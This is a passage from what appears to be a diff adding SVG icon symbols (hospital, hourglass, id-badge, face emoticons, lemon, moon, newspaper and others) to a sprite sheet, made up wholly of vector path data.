id="hospital" viewBox="0 0 448 512"> + <path d="M128 244v-40c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12zm140 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12zm-76 84v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm76 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12zm180 124v36H0v-36c0-6.627 5.373-12 12-12h19.5V85.035C31.5 73.418 42.245 64 55.5 64H144V24c0-13.255 10.745-24 24-24h112c13.255 0 24 10.745 24 24v40h88.5c13.255 0 24 9.418 24 21.035V464H436c6.627 0 12 5.373 12 12zM79.5 463H192v-67c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v67h112.5V112H304v24c0 13.255-10.745 24-24 24H168c-13.255 0-24-10.745-24-24v-24H79.5v351zM266 64h-26V38a6 6 0 0 0-6-6h-20a6 6 0 0 0-6 6v26h-26a6 6 0 0 0-6 6v20a6 6 0 0 0 6 6h26v26a6 6 0 0 0 6 6h20a6 6 0 0 0 6-6V96h26a6 6 0 0 0 6-6V70a6 6 0 0 0-6-6z"></path> + </symbol> + <symbol id="hourglass" viewBox="0 0 384 512"> + <path d="M368 48h4c6.627 0 12-5.373 12-12V12c0-6.627-5.373-12-12-12H12C5.373 0 0 5.373 0 12v24c0 6.627 5.373 12 12 12h4c0 80.564 32.188 165.807 97.18 208C47.899 298.381 16 383.9 16 464h-4c-6.627 0-12 5.373-12 12v24c0 6.627 5.373 12 12 12h360c6.627 0 12-5.373 12-12v-24c0-6.627-5.373-12-12-12h-4c0-80.564-32.188-165.807-97.18-208C336.102 213.619 368 128.1 368 48zM64 48h256c0 101.62-57.307 184-128 184S64 149.621 64 48zm256 416H64c0-101.62 57.308-184 128-184s128 82.38 128 184z"></path> + </symbol> + <symbol id="id-badge" viewBox="0 0 384 512"> + <path d="M336 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zm0 464H48V48h288v416zM144 112h96c8.8 0 16-7.2 16-16s-7.2-16-16-16h-96c-8.8 0-16 7.2-16 16s7.2 16 16 16zm48 176c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm-89.6 128h179.2c12.4 0 22.4-8.6 22.4-19.2v-19.2c0-31.8-30.1-57.6-67.2-57.6-10.8 0-18.7 8-44.8 8-26.9 0-33.4-8-44.8-8-37.1 0-67.2 25.8-67.2 57.6v19.2c0 10.6 10 19.2 22.4 19.2z"></path> + </symbol> + <symbol id="id-card" viewBox="0 0 576 512"> + <path d="M528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm0 400H303.2c.9-4.5.8 3.6.8-22.4 0-31.8-30.1-57.6-67.2-57.6-10.8 0-18.7 8-44.8 8-26.9 0-33.4-8-44.8-8-37.1 0-67.2 25.8-67.2 57.6 0 26-.2 17.9.8 22.4H48V144h480v288zm-168-80h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm0-64h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm0-64h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm-168 96c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64z"></path> + </symbol> + <symbol id="image" viewBox="0 0 512 512"> + <path d="M464 64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V112c0-26.51-21.49-48-48-48zm-6 336H54a6 6 0 0 1-6-6V118a6 6 0 0 1 6-6h404a6 6 0 0 1 6 6v276a6 6 0 0 1-6 6zM128 152c-22.091 0-40 17.909-40 40s17.909 40 40 40 40-17.909 40-40-17.909-40-40-40zM96 352h320v-80l-87.515-87.515c-4.686-4.686-12.284-4.686-16.971 0L192 304l-39.515-39.515c-4.686-4.686-12.284-4.686-16.971 0L96 304v48z"></path> + </symbol> + <symbol id="images" viewBox="0 0 576 512"> + <path d="M480 416v16c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V176c0-26.51 21.49-48 48-48h16v48H54a6 6 0 0 0-6 6v244a6 6 0 0 0 6 6h372a6 6 0 0 0 6-6v-10h48zm42-336H150a6 6 0 0 0-6 6v244a6 6 0 0 0 6 6h372a6 6 0 0 0 6-6V86a6 6 0 0 0-6-6zm6-48c26.51 0 48 21.49 48 48v256c0 26.51-21.49 48-48 48H144c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h384zM264 144c0 22.091-17.909 40-40 40s-40-17.909-40-40 17.909-40 40-40 40 17.909 40 40zm-72 96l39.515-39.515c4.686-4.686 12.284-4.686 16.971 0L288 240l103.515-103.515c4.686-4.686 12.284-4.686 16.971 0L480 208v80H192v-48z"></path> + </symbol> + <symbol id="keyboard" viewBox="0 0 576 512"> + <path d="M528 64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h480c26.51 0 48-21.49 48-48V112c0-26.51-21.49-48-48-48zm8 336c0 4.411-3.589 8-8 8H48c-4.411 0-8-3.589-8-8V112c0-4.411 3.589-8 8-8h480c4.411 0 8 3.589 8 8v288zM170 270v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm-336 82v-28c0-6.627-5.373-12-12-12H82c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm384 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zM122 188v-28c0-6.627-5.373-12-12-12H82c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm-98 158v-16c0-6.627-5.373-12-12-12H180c-6.627 0-12 5.373-12 12v16c0 6.627 5.373 12 12 12h216c6.627 0 12-5.373 12-12z"></path> + </symbol> + <symbol id="kiss" viewBox="0 0 496 512"> + <path d="M168 176c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm136 132c0-19.2-28.8-41.5-71.5-44-3.8-.4-7.4 2.4-8.2 6.2-.9 3.8 1.1 7.7 4.7 9.2l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-5.7 2.4-6 12.2 0 14.8l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-3.6 1.5-5.6 5.4-4.7 9.2.8 3.6 4.1 6.2 7.8 6.2h.5c42.8-2.5 71.5-24.8 71.5-44 0-13-13.4-27.3-35.2-36C290.6 335.3 304 321 304 308zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm80-280c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z"></path> + </symbol> + <symbol id="kiss-beam" viewBox="0 0 496 512"> + <path d="M168 152c-23.8 0-52.7 29.3-56 71.4-.3 3.7 2 7.2 5.6 8.3 3.5 1 7.5-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 5.9-4.5 5.6-8.3-3.1-42.1-32-71.4-55.8-71.4zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm56-148c0-19.2-28.8-41.5-71.5-44-3.8-.4-7.4 2.4-8.2 6.2-.9 3.8 1.1 7.7 4.7 9.2l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-5.7 2.4-6 12.2 0 14.8l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-3.6 1.5-5.6 5.4-4.7 9.2.8 3.6 4.1 6.2 7.8 6.2h.5c42.8-2.5 71.5-24.8 71.5-44 0-13-13.4-27.3-35.2-36C290.6 335.3 304 321 304 308zm24-156c-23.8 0-52.7 29.3-56 71.4-.3 3.7 2 7.2 5.6 8.3 3.5 1 7.5-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 5.9-4.5 5.6-8.3-3.1-42.1-32-71.4-55.8-71.4z"></path> + </symbol> + <symbol id="kiss-wink-heart" viewBox="0 0 504 512"> + <path d="M304 308.5c0-19.2-28.8-41.5-71.5-44-3.8-.4-7.4 2.4-8.2 6.2-.9 3.8 1.1 7.7 4.7 9.2l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-5.7 2.4-6 12.2 0 14.8l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-3.6 1.5-5.6 5.4-4.7 9.2.8 3.6 4.1 6.2 7.8 6.2h.5c42.8-2.5 71.5-24.8 71.5-44 0-13-13.4-27.3-35.2-36 21.7-9.1 35.1-23.4 35.1-36.4zm70.5-83.5l9.5 8.5c3.8 3.3 9.3 4 13.7 1.6 4.4-2.4 6.9-7.4 6.1-12.4-4-25.2-34.2-42.1-59.8-42.1s-55.9 16.9-59.8 42.1c-.8 5 1.7 10 6.1 12.4 5.8 3.1 11.2.7 13.7-1.6l9.5-8.5c14.8-13.2 46.2-13.2 61 0zM136 208.5c0 17.7 14.3 32 32 32s32-14.3 32-32-14.3-32-32-32-32 14.3-32 32zm365.1 194c-8-20.8-31.5-31.5-53.1-25.9l-8.4 2.2-2.3-8.4c-5.9-21.4-27-36.5-49-33-25.2 4-40.6 28.6-34 52.6l22.9 82.6c1.5 5.3 7 8.5 12.4 7.1l83-21.5c24.1-6.3 37.7-31.8 28.5-55.7zM334 436.3c-26.1 12.5-55.2 19.7-86 19.7-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200c0 22.1-3.7 43.3-10.4 63.2 9 6.4 17 14.2 22.6 23.9 6.4.1 12.6 1.4 18.6 2.9 10.9-27.9 17.1-58.2 17.1-90C496 119 385 8 248 8S0 119 0 256s111 248 248 248c35.4 0 68.9-7.5 99.4-20.9-2.5-7.3 4.3 17.2-13.4-46.8z"></path> + </symbol> + <symbol id="laugh" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm141.4 389.4c-37.8 37.8-88 58.6-141.4 58.6s-103.6-20.8-141.4-58.6S48 309.4 48 256s20.8-103.6 58.6-141.4S194.6 56 248 56s103.6 20.8 141.4 58.6S448 202.6 448 256s-20.8 103.6-58.6 141.4zM328 224c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm-160 0c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm194.4 64H133.6c-8.2 0-14.5 7-13.5 15 7.5 59.2 58.9 105 121.1 105h13.6c62.2 0 113.6-45.8 121.1-105 1-8-5.3-15-13.5-15z"></path> + </symbol> + <symbol id="laugh-beam" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm141.4 389.4c-37.8 37.8-88 58.6-141.4 58.6s-103.6-20.8-141.4-58.6S48 309.4 48 256s20.8-103.6 58.6-141.4S194.6 56 248 56s103.6 20.8 141.4 58.6S448 202.6 448 256s-20.8 103.6-58.6 141.4zM328 152c-23.8 0-52.7 29.3-56 71.4-.7 8.6 10.8 11.9 14.9 4.5l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c4.1 7.4 15.6 4 14.9-4.5-3.1-42.1-32-71.4-55.8-71.4zm-201 75.9l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c4.1 7.4 15.6 4 14.9-4.5-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.6 8.5 10.9 11.9 15.1 4.5zM362.4 288H133.6c-8.2 0-14.5 7-13.5 15 7.5 59.2 58.9 105 121.1 105h13.6c62.2 0 113.6-45.8 121.1-105 1-8-5.3-15-13.5-15z"></path> + </symbol> + <symbol id="laugh-squint" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm141.4 389.4c-37.8 37.8-88 58.6-141.4 58.6s-103.6-20.8-141.4-58.6S48 309.4 48 256s20.8-103.6 58.6-141.4S194.6 56 248 56s103.6 20.8 141.4 58.6S448 202.6 448 256s-20.8 103.6-58.6 141.4zM343.6 196l33.6-40.3c8.6-10.3-3.8-24.8-15.4-18l-80 48c-7.8 4.7-7.8 15.9 0 20.6l80 48c11.5 6.8 24-7.6 15.4-18L343.6 196zm-209.4 58.3l80-48c7.8-4.7 7.8-15.9 0-20.6l-80-48c-11.6-6.9-24 7.7-15.4 18l33.6 40.3-33.6 40.3c-8.7 10.4 3.8 24.8 15.4 18zM362.4 288H133.6c-8.2 0-14.5 7-13.5 15 7.5 59.2 58.9 105 121.1 105h13.6c62.2 0 113.6-45.8 121.1-105 1-8-5.3-15-13.5-15z"></path> + </symbol> + <symbol id="laugh-wink" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm141.4 389.4c-37.8 37.8-88 58.6-141.4 58.6s-103.6-20.8-141.4-58.6C68.8 359.6 48 309.4 48 256s20.8-103.6 58.6-141.4C144.4 76.8 194.6 56 248 56s103.6 20.8 141.4 58.6c37.8 37.8 58.6 88 58.6 141.4s-20.8 103.6-58.6 141.4zM328 164c-25.7 0-55.9 16.9-59.9 42.1-1.7 11.2 11.5 18.2 19.8 10.8l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c8.5 7.4 21.6.3 19.8-10.8-3.8-25.2-34-42.1-59.7-42.1zm-160 60c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm194.4 64H133.6c-8.2 0-14.5 7-13.5 15 7.5 59.2 58.9 105 121.1 105h13.6c62.2 0 113.6-45.8 121.1-105 1-8-5.3-15-13.5-15z"></path> + </symbol> + <symbol id="lemon" viewBox="0 0 512 512"> + <path d="M484.112 27.889C455.989-.233 416.108-8.057 387.059 8.865 347.604 31.848 223.504-41.111 91.196 91.197-41.277 223.672 31.923 347.472 8.866 387.058c-16.922 29.051-9.1 68.932 19.022 97.054 28.135 28.135 68.011 35.938 97.057 19.021 39.423-22.97 163.557 49.969 295.858-82.329 132.474-132.477 59.273-256.277 82.331-295.861 16.922-29.05 9.1-68.931-19.022-97.054zm-22.405 72.894c-38.8 66.609 45.6 165.635-74.845 286.08-120.44 120.443-219.475 36.048-286.076 74.843-22.679 13.207-64.035-27.241-50.493-50.488 38.8-66.609-45.6-165.635 74.845-286.08C245.573 4.702 344.616 89.086 411.219 50.292c22.73-13.24 64.005 27.288 50.488 50.491zm-169.861 8.736c1.37 10.96-6.404 20.957-17.365 22.327-54.846 6.855-135.779 87.787-142.635 142.635-1.373 10.989-11.399 18.734-22.326 17.365-10.961-1.37-18.735-11.366-17.365-22.326 9.162-73.286 104.167-168.215 177.365-177.365 10.953-1.368 20.956 6.403 22.326 17.364z"></path> + </symbol> + <symbol id="life-ring" viewBox="0 0 512 512"> + <path d="M256 504c136.967 0 248-111.033 248-248S392.967 8 256 8 8 119.033 8 256s111.033 248 248 248zm-103.398-76.72l53.411-53.411c31.806 13.506 68.128 13.522 99.974 0l53.411 53.411c-63.217 38.319-143.579 38.319-206.796 0zM336 256c0 44.112-35.888 80-80 80s-80-35.888-80-80 35.888-80 80-80 80 35.888 80 80zm91.28 103.398l-53.411-53.411c13.505-31.806 13.522-68.128 0-99.974l53.411-53.411c38.319 63.217 38.319 143.579 0 206.796zM359.397 84.72l-53.411 53.411c-31.806-13.505-68.128-13.522-99.973 0L152.602 84.72c63.217-38.319 143.579-38.319 206.795 0zM84.72 152.602l53.411 53.411c-13.506 31.806-13.522 68.128 0 99.974L84.72 359.398c-38.319-63.217-38.319-143.579 0-206.796z"></path> + </symbol> + <symbol id="lightbulb" viewBox="0 0 352 512"> + <path d="M176 80c-52.94 0-96 43.06-96 96 0 8.84 7.16 16 16 16s16-7.16 16-16c0-35.3 28.72-64 64-64 8.84 0 16-7.16 16-16s-7.16-16-16-16zM96.06 459.17c0 3.15.93 6.22 2.68 8.84l24.51 36.84c2.97 4.46 7.97 7.14 13.32 7.14h78.85c5.36 0 10.36-2.68 13.32-7.14l24.51-36.84c1.74-2.62 2.67-5.7 2.68-8.84l.05-43.18H96.02l.04 43.18zM176 0C73.72 0 0 82.97 0 176c0 44.37 16.45 84.85 43.56 115.78 16.64 18.99 42.74 58.8 52.42 92.16v.06h48v-.12c-.01-4.77-.72-9.51-2.15-14.07-5.59-17.81-22.82-64.77-62.17-109.67-20.54-23.43-31.52-53.15-31.61-84.14-.2-73.64 59.67-128 127.95-128 70.58 0 128 57.42 128 128 0 30.97-11.24 60.85-31.65 84.14-39.11 44.61-56.42 91.47-62.1 109.46a47.507 47.507 0 0 0-2.22 14.3v.1h48v-.05c9.68-33.37 35.78-73.18 52.42-92.16C335.55 260.85 352 220.37 352 176 352 78.8 273.2 0 176 0z"></path> + </symbol> + <symbol id="list-alt" viewBox="0 0 512 512"> + <path d="M464 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zm-6 400H54a6 6 0 0 1-6-6V86a6 6 0 0 1 6-6h404a6 6 0 0 1 6 6v340a6 6 0 0 1-6 6zm-42-92v24c0 6.627-5.373 12-12 12H204c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h200c6.627 0 12 5.373 12 12zm0-96v24c0 6.627-5.373 12-12 12H204c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h200c6.627 0 12 5.373 12 12zm0-96v24c0 6.627-5.373 12-12 12H204c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h200c6.627 0 12 5.373 12 12zm-252 12c0 19.882-16.118 36-36 36s-36-16.118-36-36 16.118-36 36-36 36 16.118 36 36zm0 96c0 19.882-16.118 36-36 36s-36-16.118-36-36 16.118-36 36-36 36 16.118 36 36zm0 96c0 19.882-16.118 36-36 36s-36-16.118-36-36 16.118-36 36-36 36 16.118 36 36z"></path> + </symbol> + <symbol id="map" viewBox="0 0 576 512"> + <path d="M560.02 32c-1.96 0-3.98.37-5.96 1.16L384.01 96H384L212 35.28A64.252 64.252 0 0 0 191.76 32c-6.69 0-13.37 1.05-19.81 3.14L20.12 87.95A32.006 32.006 0 0 0 0 117.66v346.32C0 473.17 7.53 480 15.99 480c1.96 0 3.97-.37 5.96-1.16L192 416l172 60.71a63.98 63.98 0 0 0 40.05.15l151.83-52.81A31.996 31.996 0 0 0 576 394.34V48.02c0-9.19-7.53-16.02-15.98-16.02zM224 90.42l128 45.19v285.97l-128-45.19V90.42zM48 418.05V129.07l128-44.53v286.2l-.64.23L48 418.05zm480-35.13l-128 44.53V141.26l.64-.24L528 93.95v288.97z"></path> + </symbol> + <symbol id="meh" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160-64c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm8 144H160c-13.2 0-24 10.8-24 24s10.8 24 24 24h176c13.2 0 24-10.8 24-24s-10.8-24-24-24z"></path> + </symbol> + <symbol id="meh-blank" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-280c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm160 0c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z"></path> + </symbol> + <symbol id="meh-rolling-eyes" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm88-304c-39.8 0-72 32.2-72 72s32.2 72 72 72 72-32.2 72-72-32.2-72-72-72zm0 112c-22.1 0-40-17.9-40-40 0-13.6 7.3-25.1 17.7-32.3-1 2.6-1.7 5.3-1.7 8.3 0 13.3 10.7 24 24 24s24-10.7 24-24c0-2.9-.7-5.7-1.7-8.3 10.4 7.2 17.7 18.7 17.7 32.3 0 22.1-17.9 40-40 40zm-104-40c0-39.8-32.2-72-72-72s-72 32.2-72 72 32.2 72 72 72 72-32.2 72-72zm-112 0c0-13.6 7.3-25.1 17.7-32.3-1 2.6-1.7 5.3-1.7 8.3 0 13.3 10.7 24 24 24s24-10.7 24-24c0-2.9-.7-5.7-1.7-8.3 10.4 7.2 17.7 18.7 17.7 32.3 0 22.1-17.9 40-40 40s-40-17.9-40-40zm192 128H184c-13.2 0-24 10.8-24 24s10.8 24 24 24h128c13.2 0 24-10.8 24-24s-10.8-24-24-24z"></path> + </symbol> + <symbol id="minus-square" viewBox="0 0 448 512"> + <path d="M108 284c-6.6 0-12-5.4-12-12v-32c0-6.6 5.4-12 12-12h232c6.6 0 12 5.4 12 12v32c0 6.6-5.4 12-12 12H108zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"></path> + </symbol> + <symbol id="money-bill-alt" viewBox="0 0 640 512"> + <path d="M320 144c-53.02 0-96 50.14-96 112 0 61.85 42.98 112 96 112 53 0 96-50.13 96-112 0-61.86-42.98-112-96-112zm40 168c0 4.42-3.58 8-8 8h-64c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h16v-55.44l-.47.31a7.992 7.992 0 0 1-11.09-2.22l-8.88-13.31a7.992 7.992 0 0 1 2.22-11.09l15.33-10.22a23.99 23.99 0 0 1 13.31-4.03H328c4.42 0 8 3.58 8 8v88h16c4.42 0 8 3.58 8 8v16zM608 64H32C14.33 64 0 78.33 0 96v320c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V96c0-17.67-14.33-32-32-32zm-16 272c-35.35 0-64 28.65-64 64H112c0-35.35-28.65-64-64-64V176c35.35 0 64-28.65 64-64h416c0 35.35 28.65 64 64 64v160z"></path> + </symbol> + <symbol id="moon" viewBox="0 0 512 512"> + <path d="M279.135 512c78.756 0 150.982-35.804 198.844-94.775 28.27-34.831-2.558-85.722-46.249-77.401-82.348 15.683-158.272-47.268-158.272-130.792 0-48.424 26.06-92.292 67.434-115.836 38.745-22.05 28.999-80.788-15.022-88.919A257.936 257.936 0 0 0 279.135 0c-141.36 0-256 114.575-256 256 0 141.36 114.576 256 256 256zm0-464c12.985 0 25.689 1.201 38.016 3.478-54.76 31.163-91.693 90.042-91.693 157.554 0 113.848 103.641 199.2 215.252 177.944C402.574 433.964 344.366 464 279.135 464c-114.875 0-208-93.125-208-208s93.125-208 208-208z"></path> + </symbol> + <symbol id="newspaper" viewBox="0 0 576 512"> + <path d="M552 64H112c-20.858 0-38.643 13.377-45.248 32H24c-13.255 0-24 10.745-24 24v272c0 30.928 25.072 56 56 56h496c13.255 0 24-10.745 24-24V88c0-13.255-10.745-24-24-24zM48 392V144h16v248c0 4.411-3.589 8-8 8s-8-3.589-8-8zm480 8H111.422c.374-2.614.578-5.283.578-8V112h416v288zM172 280h136c6.627 0 12-5.373 12-12v-96c0-6.627-5.373-12-12-12H172c-6.627 0-12 5.373-12 12v96c0 6.627 5.373 12 12 12zm28-80h80v40h-80v-40zm-40 140v-24c0-6.627 5.373-12 12-12h136c6.627 0 12 5.373 12 12v24c0 6.627-5.373 12-12 12H172c-6.627 0-12-5.373-12-12zm192 0v-24c0-6.627 5.373-12 12-12h104c6.627 0 12 5.373 12 12v24c0 6.627-5.373 12-12 12H364c-6.627 0-12-5.373-12-12zm0-144v-24c0-6.627 5.373-12 12-12h104c6.627 0 12 5.373 12 12v24c0 6.627-5.373 12-12 12H364c-6.627 0-12-5.373-12-12zm0 72v-24c0-6.627 5.373-12 12-12h104c6.627 0 12 5.373 12 12v24c0 6.627-5.373 12-12 12H364c-6.627 0-12-5.373-12-12z"></path> + </symbol> + <symbol id="object-group" viewBox="0 0 512 512"> + <path d="M500 128c6.627 0 12-5.373 12-12V44c0-6.627-5.373-12-12-12h-72c-6.627 0-12 5.373-12 12v12H96V44c0-6.627-5.373-12-12-12H12C5.373 32 0 37.373 0 44v72c0 6.627 5.373 12 12 12h12v256H12c-6.627 0-12 5.373-12 12v72c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-12h320v12c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-72c0-6.627-5.373-12-12-12h-12V128h12zm-52-64h32v32h-32V64zM32 64h32v32H32V64zm32 384H32v-32h32v32zm416 0h-32v-32h32v32zm-40-64h-12c-6.627 0-12 5.373-12 12v12H96v-12c0-6.627-5.373-12-12-12H72V128h12c6.627 0 12-5.373 12-12v-12h320v12c0 6.627 5.373 12 12 12h12v256zm-36-192h-84v-52c0-6.628-5.373-12-12-12H108c-6.627 0-12 5.372-12 12v168c0 6.628 5.373 12 12 12h84v52c0 6.628 5.373 12 12 12h200c6.627 0 12-5.372 12-12V204c0-6.628-5.373-12-12-12zm-268-24h144v112H136V168zm240 176H232v-24h76c6.627 0 12-5.372 12-12v-76h56v112z"></path> + </symbol> + <symbol id="object-ungroup" viewBox="0 0 576 512"> + <path d="M564 224c6.627 0 12-5.373 12-12v-72c0-6.627-5.373-12-12-12h-72c-6.627 0-12 5.373-12 12v12h-88v-24h12c6.627 0 12-5.373 12-12V44c0-6.627-5.373-12-12-12h-72c-6.627 0-12 5.373-12 12v12H96V44c0-6.627-5.373-12-12-12H12C5.373 32 0 37.373 0 44v72c0 6.627 5.373 12 12 12h12v160H12c-6.627 0-12 5.373-12 12v72c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-12h88v24h-12c-6.627 0-12 5.373-12 12v72c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-12h224v12c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-72c0-6.627-5.373-12-12-12h-12V224h12zM352 64h32v32h-32V64zm0 256h32v32h-32v-32zM64 352H32v-32h32v32zm0-256H32V64h32v32zm32 216v-12c0-6.627-5.373-12-12-12H72V128h12c6.627 0 12-5.373 12-12v-12h224v12c0 6.627 5.373 12 12 12h12v160h-12c-6.627 0-12 5.373-12 12v12H96zm128 136h-32v-32h32v32zm280-64h-12c-6.627 0-12 5.373-12 12v12H256v-12c0-6.627-5.373-12-12-12h-12v-24h88v12c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-72c0-6.627-5.373-12-12-12h-12v-88h88v12c0 6.627 5.373 12 12 12h12v160zm40 64h-32v-32h32v32zm0-256h-32v-32h32v32z"></path> + </symbol> + <symbol id="paper-plane" viewBox="0 0 512 512"> + 